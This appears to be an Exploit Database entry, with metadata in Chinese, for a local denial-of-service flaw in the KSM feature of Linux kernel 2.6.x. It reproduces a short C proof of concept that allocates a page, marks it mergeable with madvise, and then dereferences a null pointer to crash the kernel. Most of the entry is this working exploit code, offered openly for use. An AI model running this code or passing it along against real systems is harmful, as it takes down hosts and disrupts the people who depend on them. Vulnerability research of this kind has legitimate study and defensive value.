Linux Kernel 2.6.x – KSM Local Denial of Service

• Exploit Database
• 17 阅读

• 作者： Andrea Righi
  日期： 2011-06-02
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/35820/

• /*
  source: https://www.securityfocus.com/bid/48101/info
  
  The Linux kernel is prone to a local denial-of-service vulnerability.
  
  Attackers can exploit this issue to trigger a kernel crash, which may result in a denial-of-service condition. 
  */
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <sys/mman.h>
  #define BUFSIZE getpagesize()
  
  int main(int argc, char **argv)
  {
  	void *ptr;
  	if (posix_memalign(&ptr, getpagesize(), BUFSIZE) < 0) {
  		perror("posix_memalign");
  		exit(1);
  	}
  	if (madvise(ptr, BUFSIZE, MADV_MERGEABLE) < 0) {
  		perror("madvise");
  		exit(1);
  	}
  	*(char *)NULL = 0;
  	return 0;
  }